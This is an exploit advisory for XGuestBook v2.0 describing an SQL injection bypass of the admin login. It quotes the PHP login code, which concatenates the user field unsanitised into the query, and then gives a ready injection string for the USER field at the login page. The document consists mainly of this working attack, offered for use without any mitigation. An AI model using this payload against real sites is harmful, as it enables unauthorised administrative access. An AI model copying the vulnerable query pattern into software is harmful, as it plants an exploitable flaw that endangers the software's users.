##########################################################################

Author = FireShot , Jacopo Vuga.
Mail = fireshot<at>autistici<dot>org

Vulnerability = SQL Admin Auth Bypass
Software = XGuestBook v2.0
Download =http://script.wareseeker.com/download/xguestbook.rar/14488

Greets to = Osirys, Myral, str0ke

###########################################################################

[CODE]

$user = $_POST['user'];
$pass = md5($_POST['pass']);

$result = mysql_query("SELECT * FROM xgb_user WHERE user='" . $user . "'
AND pass= '" . $pass . "'", $db_conn) or die (mysql_error());

[/CODE]


[EXPLOIT]

[URL] = http://www.site.com/login.php

you can inject SQL code in the USER space to bypass the admin login 

[USER] = admin' or '1=1

[/EXPLOIT]

############################################################################